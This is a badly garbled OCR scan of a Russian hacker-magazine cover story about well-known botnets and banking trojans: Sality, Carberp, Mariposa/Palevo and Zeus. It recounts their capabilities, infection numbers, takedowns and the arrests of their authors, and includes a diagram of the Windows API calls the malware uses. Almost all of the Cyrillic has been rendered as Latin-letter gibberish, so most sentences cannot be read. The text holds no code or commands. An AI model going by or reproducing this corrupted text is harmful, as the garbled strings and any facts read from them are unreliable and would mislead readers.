3TO BUpPYC C pyHKuMei TposiHa. Unu, roeops ApyrumMm cioBamu, 3To TPOSH

¢ pyHKuMen pannosoro nipekrTopa.

0[00HO0 areHTy CMuTy, He ycrnokamBaeTcs, noka
HE 3apa3nT BCE YTO MOXHO. TUM 1 06yCII0BNEHO
60sIbLLIOE KOIMHECTBO 3aPAXEHUI, & TakXe CPOK
XW3HWU, NepeBanunBLUMIA 3a OecATok NeT. OYeHb
3 DEKTMBHO 1MCnonb3yeT nonmmopdusm n obdyckaumio.
®darinbl 3apaxaeT, pacLumpsia NOCAEAHIO CEKLMIO 1 nepe-
HOCS TyAaa ceoe Teno. lns nepepayn cebe ynpaBneHus
npu 3anycke mcnonb3yet TexHuky EPO. 3apaxaet USB-
HOCUTENW, 3anuckiBas Tyga autorun.inf u ogHy U3-AByX 3a-
paXeHHbIX co60i nporpamm — «BnokHOT» munn «Canep».
Bupartb, paspaboTynk nucan 3To BCe BO BPEMeHa, koraa
Portable Soft eLe He 6611 LLMPOKO PacCNPOCTPaHEH, cetyac
XKe Ha KaxXaou dreLlke MOXHO HanTn exe-dai, no3Tomy
mcnonb3oBaHue autorun.inf Tonbko NoOHMXaeT CKPbITHOCTbL
pacnpocTpaHeHus. .

Sality kpaliHe arpeccuBeH B CUCTEME, UHXEKTUPYETCS
BO BCe paboTatoLLme MPOoLLEeCChl, YTO Cka3blBaeTCs Ha CTa-
OUNBHOCT 1 CKOPOCTU PaboTbl KOMMblOTEpPa. B nopsake
€camMo3aLUMTbl NPenaTCTBYeT 3anycky aHTueupycHoro MO,
He JaeTt 06HoBUTLCS Windows 1 3aiTh Ha CaiTbl aHTUBKU-
PYCHOW TEMATUKN.

HaumHasa ¢ 2008 roga (Bo3mMoxHo, koHua 2007-ro) aB-
TOp 3anunun cobCTBEHHYIO peanuaauuio P2P, koTopas yxe
nepexuna yetbipe Bepcun. ns Sality ¢ TpeTben Bepcuen
npotokona P2P aHoHuMyc ¢ nceBpoHMMoM law-abiding
citizen BbINOXWA NOAPOGHYIO MHCTPYKUMIO MO YHUYTOXKE-
Huto 6oTceTn. Bkpatue peys Tam wna o B3nome C&C nnoa-
MEHE 3arpyxaemoro OGHOBJIEHUs, TaK KakK TEXHONOrus
OLIN Toraa eue He Gbina peanusosaHa. Moatomy B Sality
C 4eTBEPTOI Bepcuei npoTokona P2P yxe npucyTtcTeosan
kntod RSA onuHoi 2048 6uT.

Mo cocTosHuio Ha 2014 roa, B nup-ceTtu Sality 3adukcu-
poBaHo nopsgka 1,2 munnvoHa 60ToB. B 6blible BpeMeHa
MX KOJIMYECTBO AOXOAMIIO U OO TPEX MWUIIMOHOB. Bpepno-
HOCHBbI Q)yHKLLMOHe_:m Sality peanvusoBaH B Buae moaynen,
B HaLUM JHM OH TaKOB: ¢ :

+  xvenve naponen (HTTP, FTP) u apyroi KOHGUAeHLm-

anbLHOM MHpopMaLmn; A
+ pacchbinkacnama; -

+ opranusaums HTTP- n SOCKS-npokcu;
+  TyHHenuposaHue DNS- n HTTP-Tpaduka;
+ no6op naponeii Wi-Fi-poyTepoB 1 nogmeHa Ha HuX

DNS-cepsepa (Rbrute).

B koHLe masa 2014 roga cneuvanucTbl KoMnaHum «Jok-
TOp Beb» oGHapyxunn B 60oTceTtn Sality HOBbI Moayb
(RDPCheck), npegHasHa4yeHHbIA O noucka OTKPbITbIX
RDP-noptoB no 3agaHHoMmy anana3oHy IP-agpecos. Bo-
o6Lie, OTYETIMBO BUAHO, YTO pa3paboTynkn SBHO Npecne-
OYIOT LieAiv NOCTPOUTL pacnpeeNieHHyo CUcTeMy B3ioma
pasnunyHbIX cepBMCOB. Tak, B Havane 2011 roga noarpysxan-
Csi MOZYNb, KOTOPbI MOI paboTaTh B HECKObKMX PEXUMAX:
+ 06HapyxeHue SIP- n HTTP-cepBeposB;

*  perncrpauuvsa akkayHTOB Ha LleneBoMm cepsepe (DyH-
KumMoHan 6bi1 peanu3oBaH He NOJIHOCTbIO);

+ B3510M akkayHToB — C&C oTnpasnset Mogyo Crmncok
akkayHTOB 1 CNNCOK naponei ans nepedopa, o6Hapy-
>KEHHasi KOpPPEKTHas napa JIorMH — NapoJsib OTrpass-
etcsa obparHo Ha C&C-cepBep;
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XXEHHbIX Ha NpeabiayLem ware, nam
NoJly4eHHbIE N3 APYrX UCTOYHNKOB
CMUCKM CEPBEPOB U CNINCKM Naponei
MCNOb3YIOTCS A5t 0OHAPYXEHUs

1 nopbopa naponei k cepeepam
Asterisk FreePBX. Llenu y nogo6Horo
popja artak, kak npasuso, puHaH-
coBble. MOXHO 3aperncTpmpoBarb
NAaTHbIA HOMEP 1 MO3BOHUTL HA HEFO
C Kaxaoro 13 06HapyeHHbIx SIP-akkayHTOB. Banom
FreePBX MOXeT HECTU 1 6oNee cepbe3Hble NOCNEACTBUS,
TaK KaK 3/10YyMbILUIEHHWUK MOY4YaeT KOHTPOb HAA, ayTEH-
TndurKaumen n Tapudukalment Nonb3oBaresien, a Takxe
MapLupyTU3aumein 3BOHKOB.

B Ttom xe 2011 rogy no nHdpopmauum nccnegosare-
neii n3 KanudopHuiickoro yHuepcuteta B CaH-[uero
1 yHuBepcuteTa Hanonu (Utanua) 6otoBoabl Sality npo-
BEe/IN MOJSIHOE CKaHvpoBaHue guanasdoHa IPv4 (Takoe xe
ckaHupoBaHve B 2012 rogy 6biNO NPoOBEAeHO cunammn
6oTHeTa Carna, cM. Bpesku). Mo AaHHbIM, cOGpaHHbIM
C MOMOLLbIO NMACCUBHOW CUCTEMbBI MOHUTOPUHIA Tpadurka
UCSD Network Telescope, B 12-gHeBHbIin nepuop, B dpeB-
pane 2011 ropga ¢ Tpex MunanoHoB IP-agpecoB npuxoau-
JIM NaKeTbl HA MHULMALMIO COeaAuHEHMS No npoTokony SIP.
Llenbto ckaHnpoBaHus 66110 06HapyxeHue SIP-cepBepoB.
[MpoBpyTVB Yy4eTKU, KX MOXHO ObIO  MUCMONbL30BaTb
051 cO30aHns PEerkKoBbIX aKKayHTOB, NPy MOMOLLUM KOTO-
PbIX NPON3BOAUTL GecnnaTHbie U aHOHUMHbIE 3BOHKW, HY
v Tak panee.

MHTEpecHO, 4To AJ19 MakCUMasibHOW CKPbITHOCTY NpPo-
Liecca ckaHMpoBaHMsa UCMOAb30BaNCs P OPUrMHaNbHbIX
meToguk. Hanpumep, ¢ munnmnoHa IP-agpecoB npuwino
BCEro no 0AHOMY MnakeTy, 60siblie 3Tu agpeca He UCMOoJTb-
30Banvcb. Bce aTn yxulpeHns npuBenun k ToMmy, 4To cka-
HUPOBaHWE He Obl10 0O6HaAPYXEeHO HW OAHOWN CUCTEMOW
[EeTeKTnpoBaHnsa yrpo3. Tak 4To pasmax AesiTeNIbHOCTU
6oTHeTa Sality n nHTENnekTyanbHble CNOCOBHOCTU ero
coagareneii BHywaioT. noc paspaboTyunkm Sality cTonb-
KO NIET HaXoOsATCsl Ha CBOOOAE, HTO AaXKe CTaHOBUTCS «He-
MHOXKO» HEJIOBKO 3a NpeAcTaBuTesel 3akoHa.
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CARBERP

MepBbiii GAHKOBCKUIA TPOSIH, KOTOPbIA WMCMNOJIb30BAJIC B OTHOLUEHUU
poccuiickux cuctem AB0. Carberp noseuncsa Ha papape aHTUBUMPYCHBIX
komnaHuii B peBpane 2010 ropa. Kak roeoputcs, HUNTO He NpepBeLLano
6epnbl. Ha nepebix nopax 3To 6bin NpocTo trojan-downloader, ogHako ero
¢dyHKUMOHan cTtan GbiCTPO HapawmBaTbcd. CHayana nosiBUACSA MoAysb
Grabber (passw.plug), coGupaBMii Naponu M3 PassiN4YHbIX NpUoXe-
Huii. B ceHTaGpe 6bino no6GaeneHo ABa moaynsa: miniav.plug ana ynane-
HUSI KOHKYPEHTOB u stopav.plug ans HapyweHus pa6oTbl aHTUBUPYCOB.
Cnepnyowas sepcusa B 2011-m yXxe coaepxana Moaynavm noa KOHKpPeTHbie
BABO, ato sb.plug (C6epb6aHk) u cyberplat.plug (cucrema aneKTpOHHbIX
nnarexeit Kubeplnar), a Takxxe moaynb VNC (vnc.plug). Camas kpyTtas
Bepcusa Carberp (kotopyio cnunm B 2013 roay) mmena B CBoeM cOCTaBe
6yTkut Rovnix (BKloader), skcnnoiiTbl noBbileHUs npusuneruii, DDoS-
Moaynb (aTaka NPou3BOAUIIAch Ha cepBepbl 6GaHKOB Nocie 3/10BpefHoi
TpaH3akuuu Ansa 3ameTaHus cnepos), a Takxe Java Patcher — cpepctBo
MoauduKaumm B NnaMsaTu (Npy noMoLLm fieranbHoi 6ubnnortekm Javassist)
6aifT-koaa B 0AHO U3 CUCTEM OHNaH-6aHkuHra BIFIT’s iBank 2.
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Pesynstatom paccnenosaHus crana
Lenas cepusi apecTos. 5

Mapt 2012 rogpa — rpynna
Gizmo wn3 BOCbMU 4YenoBekK, 3a-
npaensnn BceMm gsa 6pata — Anek-
caHgp w Hwukonai [okopckue,
npu4yeM  [MaBHYlO poJib  urpan
Miaglwmnii, KoTopblii uMen Gorarbiii
KPUMWHANbHbBIA ONbIT U HaxoAuncs
B denepanbHOM PoO3bICKE 32 MO-
LEHHNYecTBa C HEeaBUMXUMOCTbIO.
B anpene 2014 rogpa JIoGAUHCKMIA
cyn ornacun npurosop: 31-netHuin
AnexkcaHgp [lokopckuii npoBeaet
B MECTax He CTOJ1b OTAANEHHbIX NATb
f1eT, a ero miaaLwmnin 28-netTHuin 6par
Hvkona — cemb net.

KTMBHasa dasa pa3paboTku nocnesHert Bepcumn

Carberp, KOTOpYyIO 1CMnonb30Bana rpynnmpoBka

lepmeca (aka Arashi), npuwnacb Ha 2011 roa.

B koHue 2011 roga 66110 OTMEYEHO Pa3BepPThl-
BaHWe TecToBol 6oTceTn Carberp ans nposepkun GyHKLMO-
HUpoBaHuA B6yTk1Ta, a B Aekabpe NocTaBLUnK/pa3padboTimnk
Carberp 3asB11 0 CBOpPa4MBaHUy Npoaax, nepenas Ha co-
NPOBOXAEHWE OJHOro 60THETa.

[na pacnpocTtpaHeHus Carberp ncnonb3oBanvchb 3KC-
nnovit-nakn Impact (2010), Blackhole (2011) n Nuclear
Pack (2012). Ccblfik/ Ha HUX pasMeLlannucb Ha B3SIOMaH-
HbIX caliTax ¢ 60JbLLION MOCELLAEMOCTLIO.

C6epbaHK, 06ECMOKOEHHbIV Y4aCTUBLUMMUCS CllyHa-
AMU  KMOEPMOLLEHHMYEeCTBa, WHULMMPOBaN paccneno-
BaHve, MOpPyyYnB €ro poccuickor kommnaHum Group-IB.
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Maii 2012-ro — 3agepXaH npo-

: rpaMMucT 3 TonbsTTM AnekcaHap

MakunyeB (aka Hameleon), 1971 ropa poxaeHus, nucaBLUnii

Be6-MHXekTbl s Carberp Ha 3akas, nosiy4un YCAoBHbIN

cpok. AKTMBHO B3ammogerictBoBan ¢ Hermes. Kpome lla-

KuyeBa, ObiM 3adepxaHbl ero CoOoOLWHUKN — JJOPOHWUH,
CrekayeB 1 AradoHOB.

Wionb 2012-ro — rpynna Meana Aynoposa (aka beng-
sim), B coctaB koTopoi Bxoaun Makcum [motoB (aka -
Robusto), paHee 3acBeTuBlIMiica B pa3paboTke OSMP
Grabber.

Uioub 2012-ro — rpynna lepmeca (CeMb 4enoBeEK).
Tonbko WTaT NporpaMmmcToB, paboTalowmx Ha Mepmeca,
HacuMTbIBaNn OEBSATb 4YenoBekK, GOJMbLUMHCTBO U3 KOTOPbIX
6binn xuTenu YkpauHbl. Bcero B rpynne 6bino okono 25
yenoBek (9To He cuyuTas MynoBs). B Havane ceBoen npe-
CTYMHOW AEATENbHOCTY FPYyNNMPOBKa NCMOob30Basa TPOSH

Hecmomps Ha auksudauuro
dsyx 2pynn, UCnoAb308a8LULX
Carberp, asmopbl 3mo20 mposiHa
0cmasanuce Ha ceobode.
Pa3pabomuuku 6blau 300epsKaHbl
Ha YKpauHe moAbKo 8 mapme
2013 2004 8 pe3yAbmarme
cosmecmHoti onepauuu PCb
u CBY (8 paccaedosauu

nomozana komnaxus Dr.Web)

Hodprot (cospaHHas ¢ ero noMoLpio 60TCeTb Ha3biBanachb
Origami), a yxe B 2011 roay nepeLunn Ha 6onee NpoaBUHY-
Tyto — Carberp. Ecnu B okta6pe 2011 roga Ha OCHOBHOM
cepBepe ynpasneHus 60TCeTblo BbiNo 3aperncTpupoBaHoO
0Kk0J10 700 ThICAY 3apaxeHHbIX KOMIMbIOTEPOB, TO CMyCTS
nonTopa mecsua ata umdpa yasounacs, a k mato 2012 roga
cocTaBuia 6 MUINIMOHOB. :
HecmoTpsa Ha nuKBupauuio ABYX rpynmn, UCMosib30-
BaBwunx Carberp, aBTOpbl 3TOr0 TPOsiHA OCTaBasUChb
Ha cBoboae. PaspaboTunkm Obinn 3amepXxaHbl Ha Ykpa-
nHe Tosbko B MapTe 2013 roga B pes3ynbtate COBMECT-
Hoii onepauun ®CB n CBY (B paccnenosaHuy nomorana
koMmnaHusa Dr.Web). Bbinu apectoBaHbl 16 4enoBek, KO-
Topble paboTtanu yaaneHHo B Kueee, 3anopoxse, JIbBO-
Be, XepcoHe n Ogecce. BONbLWNHCTBO N3 HUX HE Oblnn
3HaKOMbl OPYr C APYroMm, Kaxzbli OTBevas 3a CBOK

o
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YyacTb pa3paboTku MoAynsi, nepenasasi AaHHblE rOTOBOM pabo-
Thl HAa LEHTpasbHbI cepep B Opecce. Jlnaepom rpynnmposku
oKkasasncs 28-neTHuin rpaxaaHnd Poccun, kotopbiii B nione 2013
roga 6bin ocyxzaeH MNMeyopckum cynom Kvesa Ha natb neT nu-
LeHusi cBo6oabl.

KpaiiH1um 3BEHOM B LIEMOYKE apecToB cTana nonmka B aekadpe
2013-ro Amutpusa Penotosa (aka Paunch), cosgatensa aKCnionT-
nakoe Blackhole 1 Cool Exploit Kit, a Takxe cepBrca aHOHUMHbIX
aHTVBUPYCHbIX NpoBepok Crypt.am.

CnuB HapaboTok no npoekty Carberp netom 2013-ro Hage-
nan eule 6onblue Wwyma, 4em cnve coipuos Zeus B 2011-m. Keta-
Tn, Gnaropaps yreyke konos Carberp ctano BO3MOXHbIM caenatb

KOe-Kakme BbIBOObI O MpoLecce pa3pabotku. Bo-nepsbix, cyas
no BCeMY, BPEMSI OAMHOYEK 3akaH4yMBaeTCs, pa3apaboTkoi ByayT
3aHMMAaTbCS Lefible KOMaHApl Ha Pas3BepHYTON MHOPACTPYKType
(SVN, Jabber u Tak panee) nog, npukpbitem VPN. Bo-BTOpbIX —
aKTUBHOE ncnonb3oBaHue third-party paspaboTok. B kyye cbipuoB
3ameyeHbl ncxogHukn Zeus, RDP-moaynn SpyEye, VNC-mopynun
pPasnuyHbIX TUMOB, BUPYCHbIA MHGeKTOop Expiro, 6yTknt Rovnix,
kpuntop Mystic, nNa6nMK-aKCMNIONTLI NOBBLILEHUS MPUBUNErNiA
1 MHOTO 4ero eue. Taknum obpasom, Carberp — c6opHast ConsiH-
Ka YyXux ngewn, Bnpoyem, foBoNbHO addekTnBHas. MHTepecHo,
4TO MO noram 4atoB ObiN YCTAHOBNIEH OAMH M3 pa3paboTyMKoB
Carberp — Uropb PaHiok (aka rivsoft1975).
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MARIPOSA

BotHeT Mariposa (aHrnuiickoe Ha3BaHue Buttel"fly, 6a6ouka) Obl1 CO3-
Aad B 2009 roay ¢ nomolybio TposHa Palevo (aka Rimecud), umeBwero,
' Mo oueHkam coTpyaHukoe Panda Labs, paamep 12 MUIIMOHOB KOMMNbIO-
TepoB. «OdpuumnanbHoe» HasBaHue TPosHa, AaHHOe pa3paboTyukom, —
Butterfly Bot, HO, kak Mbl 3HaemM, aHTUBUPYCHMKaM MPEeTUT Ha3biBaTb
TPOAHbl UX «COOCTBEHHbIMW» UMeHamu. Co3patenem 6oTHeTa Obina
komaHpa DDP Team (cokpalieHue ot ucnavckoro Dias de Pesadilla Team,
no-anrnuiicku Nightmare Days Team), 04HaKO HY>XHO Y4€CTb, 4TO cam GoT
pa3pabaTbiBanu He OHU, a pa3paboTyuK ero npoaasan BCEM XeJlaloWwum.

pomMe 3arpy3ku Apyrnx UCMONHAEMbIX (ansios,
«13 KOpobku» BGOT MO3BONSN MepexsBaTbiBaTb
naponn B 6paysepax Firefox n IE, nogHumarb
HTTP- n SOCKS-npokcu, a TakXe OCyLLeCT-

BT TCP Syn 1 UDP'flood (DDoS komnoHeHTa). Ans pac-

LUMPEHUS «30HbI MOPAXEHUS» 6OT MMen bYHKUMKM camMo-

pacnpocTpaHeHus Npu MOMOLLM TPEX PasHbiX METOOOB:

MSN mesenger, nupuHrosbix ceteri n USB-peBaiicoB.

KcTtatn, nepsbiM MPU3HAKOM, 4YTO Ha TBOEN deLlKe NMEH-

Ho Palevo, 6bin0 Hanuune cubHO 06dYCLMPOBAHHOTO

¢arna autorun.ini. B Hem ynpasnsiowye NHCTPyKUU ne-

peMeLLMBanuCh ¢ GOJbLLIMM KONMYECTBOM CYMBOJIOB Pas-

HbIX KOAMPOBOK, NO3TOMY ini-baiin Kaxaelii pas BLIFSAen

no-pasHomy. .

BoT 6b11 406POTHO HaNMCcaH 1 UMen Ha 6opTy MHOXe-

CTBO MEXaHN3MOB, YCIIOXHSALLMX paboTy peBepcepa:

+  yacTble 06HOBNEHUS 1 MOaudUKaLyn GUHAPHOrO Koaa,
no3BosIstoLLIME 06X0AMTb CUrHATYPHOE OBHapPYXKEHE;
NPOTMBOAENCTBME 3aryCKy Ha BUPTYasbHbIX MaLLMHax
1 B NECOYHMLIAX; ;

+ 3alWMLLEHHbIN NPOTOKOS B3aMMOAENCTBUS C KOMaHA-
HbIM LIeHTpOoM Ha 6a3e UDP.

B pekabpe 2009-ro peatensHocTb Mariposa Obina
CBEpHyTa: COBMECTHbIMU yCUnusiMM komnaHusiM Panda
Security: n1 Defence Intelligence ypanocb NPUKPbITb
KOMaHAHbIE CepBepbl, KOTOPble XOCTUANCHL B McnaHuu.
B deBpane 2010 ropa B WcnaHun apectoBann Tpex
yneHoB rpynnsl DDP Team: ®nopeHcuo Kappo Pywuca
(Florencio Carro Ruiz aka Netkairo), XoHataHa [Macoca
Pusepy (Jonathan Pazos Rivera aka Jonyloleante) n Xy-
aHa Xoce benbnpo Puoca (Juan Jose Bellido Rios aka
Ostiator). OpgHako, kak MNOTOM COOBLLMAN KCNaHCKne
BJIACTU, HUKTO M3 apecTOBaHHbIX He Obla pa3paboTyMKoM
Mariposa, nockonbky He o6nanan Heob6XoaANMbIMU HaBbl-

¢ ¥

Kamu nporpammvpoBaHus. o yT-
BEPXAEHWIO MCMAHCKOW MNonnuumu,
NPOpbLIB B paccnenoBaHun Ciy4umn-
csl Torga, korga oauvH 13 60ToBOAOB
crnanuncs no-AeTcku: NOAKMoYNICS
Kk C&C co cBOEro ,OMALLHEro UHTep-
HeT-agpeca, BMECTO TOro 4Tobbl uUc-
nonb3oBatb VPN. OgHako npussatb
K OTBETY NPECTYNHUKOB HE yaanoch,
BO MHOIOM 13-3a TOro, 4TO ynpasJe-
HMe GOTHETOM B TO Bpems BoobOLLe
HE cYMTanochb B VicnaHum npectynneHvem. A ois yronos-
HOro gena noavuumn NpULLIIoch Gbl A0Ka3aTb, YTO OHU BO-
poBanv nHGopmMaLmIo 1 3aTeM UCMONL30OBaNV ee AN Mo-
Jly4eHus AeHer. Briinas yepes napy mecsiLeB Ha cso6oay,
Netkairo n Ostiator npuwnn B opuc komnaHum Panda
M NPUHSAANCH ynpawmBaTb B3sTb UX Ha paboTy, Tak Kak,
O X CJIOBaM, OHM 0OKa3alnCb COBEPLUEHHO 6e3 aeHer
rnocne Toro, kak nHdpacTpykTypa Mariposa 6bina paspy-
weHa. EctectBeHHO, MM oTkazanu.

Bnocnencteun Netkairo yrBepxaan, 4to B Panda «ym-
HOXWUNW peanbHble UMdpbl HA CTO, HABEPHOE B peknam-
HbIX Lenax». «PeanbHblil paamep Mariposa 6bin okono 100
ThbICHY, MakCUMyM, B MUKOBbIE MOMEHTbI, OT 500 Tbicay
o 900 Thicay mawwmH». Kak nosicHun Netkairo, B Panda
HE y4nu TOT akT, 4TO cpeam BbISBNEHHbIX IP 3apaxeHHbIX
MallnH Ob10 60JbLLIOE KOMMYECTBO AauMHamudeckmx. Co-
TpyoHvku Panda, B CBOIO o4yepenb, YTOYHWAN, YTO OLLEH-

B dekabpe 2009-20 dessmeAnbHOCHb
Mariposa 6blAa ceepHyma:
COBMECMHbIMU YCUAUSMU

Komnauuam Panda Security
u Defence Intelligence ydaaoco
NpUKpbLb KOMAHOHbLE cepsepebl,
komopblie xocmuAuck 8 icnaunuu,
B ¢espane 2010 200a 8 UicnaHuu
apecmosaAu mpex 4AeHos 2pynnol
DDP Team
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Cover Story

Ka B 12 MWINMOHOB HWKOr4a He O3Hayana YUCno PasfnyHbIX
MK 1 peyb Benacb 06 YHUKaNbHbIX aapecax, 3aMeYeHHbIX B CBA3N
c 6oTHeTOM Mariposa.

Coapatento Butterfly Bot Martbsicy «Iserdo» CkopbsiHCy
(Matjaz Skorjanc) n3 CnoBeHUW NOBE3NO MeEHbLUE €ero uc-
naHckux konner. Ha momeHT paspaboTku Butterfly Bot B 2008
rony CkopbsiHcy Gbino Bcero 23 roga. OH 6bin apectoBaH 28
mionst 2010 roga, NoBTOPHO. [l0 3TOro OH yXe 3adep>XuBascs,
OblN OTNYLLEH NOJ 3a0r, HO BCe PaBHO NPOAOIIXan NpoaasaTb
60T. B nekabpe 2013 roga cyn CnoBeHum NpuroBopun ero k 58
Mecsuam TIOPEeMHOro 3aksoveHns 3a cosganHve Butterfly Bot.
BocemMb MecsLEeB YyCNOBHO MoJslyymna Takxe nogpyxka Iserdo,
Ha CYeT KOTOPOW CKNaAblBaNMChb AEHbIU, BbIPYYEHHbIE OT MPO-
naxu Butterfly Bot. Bcero Ha npopaxax yaanock 3apabortartb
nopsaaka 500 Teicsy eBpo. Mo cnoBam CkopbsiHCa, CTOMMOCTb
6a30Boii Bepcuu Butterfly Bot coctasnsina 500. onnapos. Yco-
BEPLLUEHCTBOBAHHbIA BapuaHT, NpeaHasHa4YyeHHbld ans cbopa
KOHOUAEHUMANBHBIX AaHHbIX, UHDOPMaLMK O KPEAUTHbIX Kap-
Tax U AocTyne K cuctemMam Beb-OaHKMHra, CTOWUSI HECKOJIbKO
nopoxe — 1300 gonnapos. Mo gaHHbIM MCMAHCKOW NOANLMK,
nocpencTteoM Mariposa NnpecTynHukM ykpaau KoHGuaeHunanb-
Hble aaHHble 6onee Yem y 800 ThicaY XepTB, BKAOYAA AOMaLll-
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HUX MONb30BaTenei, KOMMNaHuu, rocyaapcTBeHHbIe yqpexp,e-
HUS 1 yHuBepcuTeTbl B 190 cTpaHax.

HecmoTpsa Ha takedown C&C Palevo, ¢ koHua 2010 roaa -mcno
ero AeTekTOB BHOBb Ha4yano pactu, a k cepeguHe 2011 roga Obin
obBHapyxeH eLle oanH 60THET Ha ocHoBe Palevo, Y/CNEHHOCTBIO
okono 11 MunanoHoB, KoTopblii HasBanu Metulji (6a6oyka no-
cnoseHcku). B mioHe 2011 roga ero onepatopsl, Anéwa Bopko-
BuY (Aljosa Borkovic) n Japko Manununy (Darko Malinic), xuTtenun
cepbekont BocHuK, Gbinn BblbMceHbl. PebsTa Toxe 0cobo He 3a-
MOPaYnBaNNCh M COPUNIM AEHbraMun HaNpaBo 1 HaneBo. Vx apect
OblN OCYLLECTBMIEH B pamkax MexXAyHapoOHOro paccriefoBaHus
nop, KoAoBbiIM HaumMeHoBaHuem Operation Hive, npoBegeHHOro
CcoBMeCTHbIMU yeunusamn PEP, MHTepnona, MBL, Cepbuu u no-
nuumn Cnosexumn. C Tex nop Palevo ucues M3 cnvMckoB TOMOBbIX
yrpos.

WUctopusa GotHeta Mariposa nokasbiBaeT, kakoil 60/bLioi
ywep6 MOryT NPUHECTM Kyfxaukepbl, o6nagaoume MuHuManb-
HblM HabopoM 3HaHuil. K cBepeHuto, nepBoHaYyasibHbIi BEKTOP
3apaxeHus Palevo nepBoii BOJIHbI 3ak/oYasics B PacnpocTpaHe-
HUM NMMPATCKMX KOMUIA codTa U Urp, MHCTANNSTOPbLI KOTOPbIX Obln
CKJEEHbI C TPOSIHOM. W HMKaK1x BaM cram-pacchliiok U SKCMI0NT-
nakos! OgHako xe MunnnoH N3BM 3apas3nTb Takv yMyAPUINUCH.

» RecvFrom

v
| Hooking

L= V'grlualProteclEx

Core ‘Registry Operator
Process Finder : > RegCreateKeyEx
> Main Loop » RegSetvalueEx
» CreateToolhelp32Snapshot » RegCloseKey
» Process32First » RegSetValueEx
» Process32Next » RegDeleteValue
» RegQueyValueEx
Command Parser 1
|
Injection —1> Parsé |
_,| = VirtualProtectEx l
»  NtWriteVirtualMemory
- Spreader
Threading . :
> P2P
» CreateRemoteThread » USB
» CreateThread » MSN
Downloader/ | _|
Uploader 3
: ¥ getHostbyname
» InternetOpenurl L4_,|» TCP_Flood » Inet_addr
| = InternetReadFile » UDP_Flood » Inet_ntoa
» InternetCrackUrl » htons
» HitpOpenRequest » loctlsocket
» HitpSendRequest = connect




XAKEP 09 /188/2014

Kpatkas xapaktepucruka:
6aHKOBCKWN TPOSIH

Toabl XN3Hu:
2007 — HacTosiLiee Bpems

KonuuecTtBo 3apaxeHuii:
13 MunnmoHoB

TexHuveckas
HaBOPOYEHHOCTh:

QQQQQACT

MeToabl pacnpocTpaHeHus:
9KCMIONT-Nak

ZEUS

OTKpbIBaeT Nepeylo NATepky Zeus — 6e3 COMHeHUs1, 6AaHKOBCKUIA TPOSH
HOMep oauH B Mupe. Mo oueHkaM aHanUTUKOB, OH npumeHsncs B 90%
cny4yaeB 6aHKOBCKOro MOLLUEHHU4YecTBa B Mupe. [lo onpeaesnieHHoro Mo-
MEeHTa Ha OCHOBe Zeus 6bI/10 CO34aHO0 AOCTAaTOYHO 60MbLLIOE YUCNO (OKONO
HECKOJIbKMX COTE€H) pa3pO3HEeHHbIX GOTHETOB, KOTOPble KOHTPOJUPOBa-
NIUCb pa3HbIMU FPynnUpoBKaMu KubepnpectynHukoB. Co3paTtenu Zeus
NPOCTO NpoAaBasnu ero 3auHTepecoBaHHbIM JIULLAM, @ OHU YXEe C ero rno-
Mowbio popMupoBanu co6cTBeHHble 60THeTbLl. Hanpumep, B 2009 roay B
oAHa U3 rpyNNUPOBOK NpoBena MacluTaGHylo akuuio — paccbinana Zeus
yepe3 3JNIEKTPOHHYIO MOYTY, UCNOJIb3ys MOLLHOCTM GoTHeTa Pushdo.
Mo oueHke komnaHum Damballa, B CLUA Torga Gbinio 3apaxeHo okono 3,6
mMmunnuoHa MNK. OGwee KONMYECTBO 3apaxxeHuilt Zeus C MOMEHTa ero no-

SiBJIeHUS oLueHuBaeTcs B 13 MUIJIMOHOB KOMMbIOTEPOB.

a3paboTumk Zeus M3BECTeH Mo Hukamu Slavik

n Monstr, nmernHo oH ¢ 2007 u go 2010 roga

€OQMHONMYHO Npou3BoAua CObIT KU NoAdepXKY

CBOEro npoaykTa. Tak NpoaosiXanock 4O BEPCUA
2.0, B okT6pe 2010 roga Slavik nepegan ncxogHbie Koabl
Bepcun 2.0 cBOEMY KOHKYPEHTY — pa3paboTynky TposiHa
SpyEye n skobbl npekpatun AanbHenllylo paspaboTky.
B 10 xe Bpemsi uccneposarenv n3 komnaHum RSA obHa-
PYXV HEKOTOPbIE dakTbl, NO3BONSIOLME YCOMHUTLCS
B cnoBax Slavik’a o Bbixoge u3 6usHeca. B aBrycte 2010
ropa, TO ecTb 3a ABa Mecsiua A0 «0PULManbHOTO» 06bAB-
NeHusi 0 NpekpaLleHnn paboTel Hag Zeus, 6bl1 0OHAPYXXeH
BGOTHET, CO3AaHHbIN NPU NOMOLLM Zeus, UMEBLLET0 BEPCUIO
2.1, KOTOpas HY Ha OAHOM «4epHOM>» POpPyMe He NpoaaBa-
nacs. Mo Bcemy BbIxoausno, 4To Slavik npocTo noMeHsin Mo-
nenb BeaeHnst busHeca, Tenepb OH pewni chopmmpoBaTb
CBOW COOCTBEHHRI BOTHET, a He npoaasaTtb bunaep 6ota
BCEM XeJaloLLmUM.

KnioyeBoit 0c06eHHOCTbIO Zeus 2.1 cTano u3meHeHue
CXeMbl CBSA3Y C yNpaBnsiowmMmy cepsepamu. Tenepb agpe-
ca cepBepoB He Oblnn XeCcTKOo 3aAaHbl B KOHOUIypaLMoH-
Hom cdaiine, a dopmupoBanvch ¢ nomalbio DGA (Domain
Generation Algorithms). ns 3awuTtbl OT Nnepexsara ynpas-
neHns npomsBogunacb nposepka JLUI 3arpyxaemoro
daiina B xoge 06HoBneHUA. [ns aToro B Zeus UCNosib30-
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BasiCa OTKPbITLIA Kntod RSA gnnHon
1024 6uTa.

Ecnu Gpatb 3a OCHOBY BEpCUIO,
yto Slavik ¢ aerycta 2010 roga Ha-
yan pasBuBaTb BeTKy Bepcumn 2.1,
TO K 4YUCNYy HOBOBBEAEHUA 3TOW
BEPCUWN CTOUT OTHECTU MOsIBNEHME
ceHTabpe  ZeuS-in-the-Mobile
(ZitMo) — TposiHa nog MobGWIbHbIE
nnatdopmbl  Symbian,  Windows
Mobile, BlackBerry n Android, koTo-
pblii pabotan B CBsI3ke C OObIYHOM
Bepcuel Zeus 1 no3eonsn 06xoantb
MexaHu3M [OBYXdaKTOPHOM ayTeH-
Tnodukaumm cuctem AOBO. Mo uvH-
dopmaumm komnanuin Versafe n Check Point Software
Technologies, B koHue 2012 roga Bepcusa ZitMo noa, Hasea-
Huem Eurograber npuvHecna cBOMM pacrnpoCTpaHUTENs M
npubbib B paamepe 36 MUIMOHOB €BpO (v 47 Munnm-
OHOB [J0J112P0B).

Hecmotps Ha 3asBneHuve Slavik’a o nepenade Bcero koga
